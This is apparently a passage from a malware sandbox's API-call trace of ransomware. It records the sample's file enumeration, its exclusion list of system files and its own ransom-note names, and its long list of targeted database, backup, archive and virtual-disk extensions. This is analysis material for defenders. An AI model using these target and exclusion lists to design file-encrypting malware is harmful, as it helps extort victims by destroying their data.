	[0052.870] lstrcmpiW (lpString1="on.png", lpString2="sqlite") returned -1
	[0052.871] lstrlenW (lpString="sqlite3") returned 7
	[0052.871] lstrcmpiW (lpString1="con.png", lpString2="sqlite3") returned -1
	[0052.871] lstrlenW (lpString="sqlitedb") returned 8
	[0052.871] lstrlenW (lpString="xml") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0052.871] lstrlenW (lpString="$er") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0052.871] lstrlenW (lpString="4dd") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0052.871] lstrlenW (lpString="4dl") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0052.871] lstrlenW (lpString="^^^") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0052.871] lstrlenW (lpString="abs") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0052.871] lstrlenW (lpString="abx") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0052.871] lstrlenW (lpString="accdb") returned 5
	[0052.871] lstrcmpiW (lpString1="n.png", lpString2="accdb") returned 1
	[0052.871] lstrlenW (lpString="accdc") returned 5
	[0052.871] lstrcmpiW (lpString1="n.png", lpString2="accdc") returned 1
	[0052.871] lstrlenW (lpString="accde") returned 5
	[0052.871] lstrcmpiW (lpString1="n.png", lpString2="accde") returned 1
	[0052.871] lstrlenW (lpString="accdr") returned 5
	[0052.871] lstrcmpiW (lpString1="n.png", lpString2="accdr") returned 1
	[0052.871] lstrlenW (lpString="accdt") returned 5
	[0052.871] lstrcmpiW (lpString1="n.png", lpString2="accdt") returned 1
	[0052.871] lstrlenW (lpString="accdw") returned 5
	[0052.871] lstrcmpiW (lpString1="n.png", lpString2="accdw") returned 1
	[0052.871] lstrlenW (lpString="accft") returned 5
	[0052.871] lstrcmpiW (lpString1="n.png", lpString2="accft") returned 1
	[0052.871] lstrlenW (lpString="adb") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0052.871] lstrlenW (lpString="adb") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0052.871] lstrlenW (lpString="ade") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0052.871] lstrlenW (lpString="adf") returned 3
	[0052.871] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0052.872] lstrlenW (lpString="adn") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0052.872] lstrlenW (lpString="adp") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0052.872] lstrlenW (lpString="alf") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0052.872] lstrlenW (lpString="ask") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0052.872] lstrlenW (lpString="btr") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0052.872] lstrlenW (lpString="cat") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0052.872] lstrlenW (lpString="cdb") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0052.872] lstrlenW (lpString="ckp") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0052.872] lstrlenW (lpString="cma") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0052.872] lstrlenW (lpString="cpd") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0052.872] lstrlenW (lpString="dacpac") returned 6
	[0052.872] lstrcmpiW (lpString1="on.png", lpString2="dacpac") returned 1
	[0052.872] lstrlenW (lpString="dad") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0052.872] lstrlenW (lpString="dadiagrams") returned 10
	[0052.872] lstrlenW (lpString="daschema") returned 8
	[0052.872] lstrlenW (lpString="db-journal") returned 10
	[0052.872] lstrlenW (lpString="db-shm") returned 6
	[0052.872] lstrcmpiW (lpString1="on.png", lpString2="db-shm") returned 1
	[0052.872] lstrlenW (lpString="db-wal") returned 6
	[0052.872] lstrcmpiW (lpString1="on.png", lpString2="db-wal") returned 1
	[0052.872] lstrlenW (lpString="dbc") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0052.872] lstrlenW (lpString="dbs") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0052.872] lstrlenW (lpString="dbt") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0052.872] lstrlenW (lpString="dbv") returned 3
	[0052.872] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0052.872] lstrlenW (lpString="dbx") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0052.873] lstrlenW (lpString="dcb") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0052.873] lstrlenW (lpString="dct") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0052.873] lstrlenW (lpString="dcx") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0052.873] lstrlenW (lpString="ddl") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0052.873] lstrlenW (lpString="dlis") returned 4
	[0052.873] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0052.873] lstrlenW (lpString="dp1") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0052.873] lstrlenW (lpString="dqy") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0052.873] lstrlenW (lpString="dsk") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0052.873] lstrlenW (lpString="dsn") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0052.873] lstrlenW (lpString="dtsx") returned 4
	[0052.873] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0052.873] lstrlenW (lpString="dxl") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0052.873] lstrlenW (lpString="eco") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0052.873] lstrlenW (lpString="ecx") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0052.873] lstrlenW (lpString="edb") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0052.873] lstrlenW (lpString="epim") returned 4
	[0052.873] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0052.873] lstrlenW (lpString="fcd") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0052.873] lstrlenW (lpString="fdb") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0052.873] lstrlenW (lpString="fic") returned 3
	[0052.873] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0052.873] lstrlenW (lpString="flexolibrary") returned 12
	[0052.874] lstrlenW (lpString="fm5") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0052.874] lstrlenW (lpString="fmp") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0052.874] lstrlenW (lpString="fmp12") returned 5
	[0052.874] lstrcmpiW (lpString1="n.png", lpString2="fmp12") returned 1
	[0052.874] lstrlenW (lpString="fmpsl") returned 5
	[0052.874] lstrcmpiW (lpString1="n.png", lpString2="fmpsl") returned 1
	[0052.874] lstrlenW (lpString="fol") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0052.874] lstrlenW (lpString="fp3") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0052.874] lstrlenW (lpString="fp4") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0052.874] lstrlenW (lpString="fp5") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0052.874] lstrlenW (lpString="fp7") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0052.874] lstrlenW (lpString="fpt") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0052.874] lstrlenW (lpString="frm") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0052.874] lstrlenW (lpString="gdb") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0052.874] lstrlenW (lpString="gdb") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0052.874] lstrlenW (lpString="grdb") returned 4
	[0052.874] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0052.874] lstrlenW (lpString="gwi") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0052.874] lstrlenW (lpString="hdb") returned 3
	[0052.874] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0052.875] lstrlenW (lpString="his") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0052.875] lstrlenW (lpString="ib") returned 2
	[0052.875] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0052.875] lstrlenW (lpString="idb") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0052.875] lstrlenW (lpString="ihx") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0052.875] lstrlenW (lpString="itdb") returned 4
	[0052.875] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0052.875] lstrlenW (lpString="itw") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0052.875] lstrlenW (lpString="jet") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0052.875] lstrlenW (lpString="jtx") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0052.875] lstrlenW (lpString="kdb") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0052.875] lstrlenW (lpString="kexi") returned 4
	[0052.875] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0052.875] lstrlenW (lpString="kexic") returned 5
	[0052.875] lstrcmpiW (lpString1="n.png", lpString2="kexic") returned 1
	[0052.875] lstrlenW (lpString="kexis") returned 5
	[0052.875] lstrcmpiW (lpString1="n.png", lpString2="kexis") returned 1
	[0052.875] lstrlenW (lpString="lgc") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0052.875] lstrlenW (lpString="lwx") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0052.875] lstrlenW (lpString="maf") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0052.875] lstrlenW (lpString="maq") returned 3
	[0052.875] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0052.875] lstrlenW (lpString="mar") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0052.876] lstrlenW (lpString="marshal") returned 7
	[0052.876] lstrcmpiW (lpString1="con.png", lpString2="marshal") returned -1
	[0052.876] lstrlenW (lpString="mas") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0052.876] lstrlenW (lpString="mav") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0052.876] lstrlenW (lpString="maw") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0052.876] lstrlenW (lpString="mdbhtml") returned 7
	[0052.876] lstrcmpiW (lpString1="con.png", lpString2="mdbhtml") returned -1
	[0052.876] lstrlenW (lpString="mdn") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0052.876] lstrlenW (lpString="mdt") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0052.876] lstrlenW (lpString="mfd") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0052.876] lstrlenW (lpString="mpd") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0052.876] lstrlenW (lpString="mrg") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0052.876] lstrlenW (lpString="mud") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0052.876] lstrlenW (lpString="mwb") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0052.876] lstrlenW (lpString="myd") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0052.876] lstrlenW (lpString="ndf") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0052.876] lstrlenW (lpString="nnt") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0052.876] lstrlenW (lpString="nrmlib") returned 6
	[0052.876] lstrcmpiW (lpString1="on.png", lpString2="nrmlib") returned 1
	[0052.876] lstrlenW (lpString="ns2") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0052.876] lstrlenW (lpString="ns3") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0052.876] lstrlenW (lpString="ns4") returned 3
	[0052.876] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0052.877] lstrlenW (lpString="nsf") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0052.877] lstrlenW (lpString="nv") returned 2
	[0052.877] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0052.877] lstrlenW (lpString="nv2") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0052.877] lstrlenW (lpString="nwdb") returned 4
	[0052.877] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0052.877] lstrlenW (lpString="nyf") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0052.877] lstrlenW (lpString="odb") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0052.877] lstrlenW (lpString="odb") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0052.877] lstrlenW (lpString="oqy") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0052.877] lstrlenW (lpString="ora") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0052.877] lstrlenW (lpString="orx") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0052.877] lstrlenW (lpString="owc") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0052.877] lstrlenW (lpString="p96") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0052.877] lstrlenW (lpString="p97") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0052.877] lstrlenW (lpString="pan") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0052.877] lstrlenW (lpString="pdb") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0052.877] lstrlenW (lpString="pdm") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0052.877] lstrlenW (lpString="pnz") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0052.877] lstrlenW (lpString="qry") returned 3
	[0052.877] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0052.878] lstrlenW (lpString="qvd") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0052.878] lstrlenW (lpString="rbf") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0052.878] lstrlenW (lpString="rctd") returned 4
	[0052.878] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0052.878] lstrlenW (lpString="rod") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0052.878] lstrlenW (lpString="rodx") returned 4
	[0052.878] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0052.878] lstrlenW (lpString="rpd") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0052.878] lstrlenW (lpString="rsd") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0052.878] lstrlenW (lpString="sas7bdat") returned 8
	[0052.878] lstrlenW (lpString="sbf") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0052.878] lstrlenW (lpString="scx") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0052.878] lstrlenW (lpString="sdb") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0052.878] lstrlenW (lpString="sdc") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0052.878] lstrlenW (lpString="sdf") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0052.878] lstrlenW (lpString="sis") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0052.878] lstrlenW (lpString="spq") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0052.878] lstrlenW (lpString="te") returned 2
	[0052.878] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0052.878] lstrlenW (lpString="teacher") returned 7
	[0052.878] lstrcmpiW (lpString1="con.png", lpString2="teacher") returned -1
	[0052.878] lstrlenW (lpString="tmd") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0052.878] lstrlenW (lpString="tps") returned 3
	[0052.878] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0052.878] lstrlenW (lpString="trc") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0052.879] lstrlenW (lpString="trc") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0052.879] lstrlenW (lpString="trm") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0052.879] lstrlenW (lpString="udb") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0052.879] lstrlenW (lpString="udl") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0052.879] lstrlenW (lpString="usr") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0052.879] lstrlenW (lpString="v12") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0052.879] lstrlenW (lpString="vis") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0052.879] lstrlenW (lpString="vpd") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0052.879] lstrlenW (lpString="vvv") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0052.879] lstrlenW (lpString="wdb") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0052.879] lstrlenW (lpString="wmdb") returned 4
	[0052.879] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0052.879] lstrlenW (lpString="wrk") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0052.879] lstrlenW (lpString="xdb") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0052.879] lstrlenW (lpString="xld") returned 3
	[0052.879] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0052.879] lstrlenW (lpString="xmlff") returned 5
	[0052.879] lstrcmpiW (lpString1="n.png", lpString2="xmlff") returned -1
	[0052.879] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 1
	[0052.879] lstrcmpiW (lpString1="install.rdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.879] lstrcmpiW (lpString1="install.rdf", lpString2="Apollon865.txt.exe") returned 1
	[0052.879] lstrcmpiW (lpString1="install.rdf", lpString2=".") returned 1
	[0052.879] lstrcmpiW (lpString1="install.rdf", lpString2="..") returned 1
	[0052.879] lstrcmpiW (lpString1="install.rdf", lpString2="windows") returned -1
	[0052.879] lstrcmpiW (lpString1="install.rdf", lpString2="bootmgr") returned 1
	[0052.879] lstrcmpiW (lpString1="install.rdf", lpString2="temp") returned -1
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2="pagefile.sys") returned -1
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2="boot") returned 1
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2="ids.txt") returned 1
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2="ntuser.dat") returned -1
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2="perflogs") returned -1
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2="MSBuild") returned -1
	[0052.880] lstrlenW (lpString="install.rdf") returned 11
	[0052.880] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png") returned 105
	[0052.880] lstrcpyW (in: lpString1=0x2d3e612, lpString2="install.rdf" | out: lpString1="install.rdf") returned="install.rdf"
	[0052.880] lstrlenW (lpString="install.rdf") returned 11
	[0052.880] lstrlenW (lpString="Apollon865") returned 10
	[0052.880] lstrcmpiW (lpString1="nstall.rdf", lpString2="Apollon865") returned 1
	[0052.880] lstrlenW (lpString=".dll") returned 4
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2=".dll") returned 1
	[0052.880] lstrlenW (lpString=".lnk") returned 4
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2=".lnk") returned 1
	[0052.880] lstrlenW (lpString=".ini") returned 4
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2=".ini") returned 1
	[0052.880] lstrlenW (lpString=".sys") returned 4
	[0052.880] lstrcmpiW (lpString1="install.rdf", lpString2=".sys") returned 1
	[0052.880] lstrlenW (lpString="install.rdf") returned 11
	[0052.880] lstrlenW (lpString="bak") returned 3
	[0052.880] lstrcmpiW (lpString1="rdf", lpString2="bak") returned 1
	[0052.880] lstrlenW (lpString="ba_") returned 3
	[0052.880] lstrcmpiW (lpString1="rdf", lpString2="ba_") returned 1
	[0052.880] lstrlenW (lpString="dbb") returned 3
	[0052.880] lstrcmpiW (lpString1="rdf", lpString2="dbb") returned 1
	[0052.880] lstrlenW (lpString="vmdk") returned 4
	[0052.880] lstrcmpiW (lpString1=".rdf", lpString2="vmdk") returned -1
	[0052.880] lstrlenW (lpString="rar") returned 3
	[0052.880] lstrcmpiW (lpString1="rdf", lpString2="rar") returned 1
	[0052.880] lstrlenW (lpString="zip") returned 3
	[0052.880] lstrcmpiW (lpString1="rdf", lpString2="zip") returned -1
	[0052.880] lstrlenW (lpString="tgz") returned 3
	[0052.880] lstrcmpiW (lpString1="rdf", lpString2="tgz") returned -1
	[0052.880] lstrlenW (lpString="vbox") returned 4
	[0052.880] lstrcmpiW (lpString1=".rdf", lpString2="vbox") returned -1
	[0052.880] lstrlenW (lpString="vdi") returned 3
	[0052.880] lstrcmpiW (lpString1="rdf", lpString2="vdi") returned -1
	[0052.881] lstrlenW (lpString="vhd") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="vhd") returned -1
	[0052.881] lstrlenW (lpString="vhdx") returned 4
	[0052.881] lstrcmpiW (lpString1=".rdf", lpString2="vhdx") returned -1
	[0052.881] lstrlenW (lpString="avhd") returned 4
	[0052.881] lstrcmpiW (lpString1=".rdf", lpString2="avhd") returned -1
	[0052.881] lstrlenW (lpString="db") returned 2
	[0052.881] lstrcmpiW (lpString1="df", lpString2="db") returned 1
	[0052.881] lstrlenW (lpString="db2") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="db2") returned 1
	[0052.881] lstrlenW (lpString="db3") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="db3") returned 1
	[0052.881] lstrlenW (lpString="dbf") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="dbf") returned 1
	[0052.881] lstrlenW (lpString="mdf") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="mdf") returned 1
	[0052.881] lstrlenW (lpString="mdb") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="mdb") returned 1
	[0052.881] lstrlenW (lpString="sql") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="sql") returned -1
	[0052.881] lstrlenW (lpString="sqlite") returned 6
	[0052.881] lstrcmpiW (lpString1="ll.rdf", lpString2="sqlite") returned -1
	[0052.881] lstrlenW (lpString="sqlite3") returned 7
	[0052.881] lstrcmpiW (lpString1="all.rdf", lpString2="sqlite3") returned -1
	[0052.881] lstrlenW (lpString="sqlitedb") returned 8
	[0052.881] lstrcmpiW (lpString1="tall.rdf", lpString2="sqlitedb") returned 1
	[0052.881] lstrlenW (lpString="xml") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="xml") returned -1
	[0052.881] lstrlenW (lpString="$er") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="$er") returned 1
	[0052.881] lstrlenW (lpString="4dd") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="4dd") returned 1
	[0052.881] lstrlenW (lpString="4dl") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="4dl") returned 1
	[0052.881] lstrlenW (lpString="^^^") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="^^^") returned 1
	[0052.881] lstrlenW (lpString="abs") returned 3
	[0052.881] lstrcmpiW (lpString1="rdf", lpString2="abs") returned 1
	[0052.882] lstrlenW (lpString="abx") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="abx") returned 1
	[0052.882] lstrlenW (lpString="accdb") returned 5
	[0052.882] lstrcmpiW (lpString1="l.rdf", lpString2="accdb") returned 1
	[0052.882] lstrlenW (lpString="accdc") returned 5
	[0052.882] lstrcmpiW (lpString1="l.rdf", lpString2="accdc") returned 1
	[0052.882] lstrlenW (lpString="accde") returned 5
	[0052.882] lstrcmpiW (lpString1="l.rdf", lpString2="accde") returned 1
	[0052.882] lstrlenW (lpString="accdr") returned 5
	[0052.882] lstrcmpiW (lpString1="l.rdf", lpString2="accdr") returned 1
	[0052.882] lstrlenW (lpString="accdt") returned 5
	[0052.882] lstrcmpiW (lpString1="l.rdf", lpString2="accdt") returned 1
	[0052.882] lstrlenW (lpString="accdw") returned 5
	[0052.882] lstrcmpiW (lpString1="l.rdf", lpString2="accdw") returned 1
	[0052.882] lstrlenW (lpString="accft") returned 5
	[0052.882] lstrcmpiW (lpString1="l.rdf", lpString2="accft") returned 1
	[0052.882] lstrlenW (lpString="adb") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="adb") returned 1
	[0052.882] lstrlenW (lpString="adb") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="adb") returned 1
	[0052.882] lstrlenW (lpString="ade") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="ade") returned 1
	[0052.882] lstrlenW (lpString="adf") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="adf") returned 1
	[0052.882] lstrlenW (lpString="adn") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="adn") returned 1
	[0052.882] lstrlenW (lpString="adp") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="adp") returned 1
	[0052.882] lstrlenW (lpString="alf") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="alf") returned 1
	[0052.882] lstrlenW (lpString="ask") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="ask") returned 1
	[0052.882] lstrlenW (lpString="btr") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="btr") returned 1
	[0052.882] lstrlenW (lpString="cat") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="cat") returned 1
	[0052.882] lstrlenW (lpString="cdb") returned 3
	[0052.882] lstrcmpiW (lpString1="rdf", lpString2="cdb") returned 1
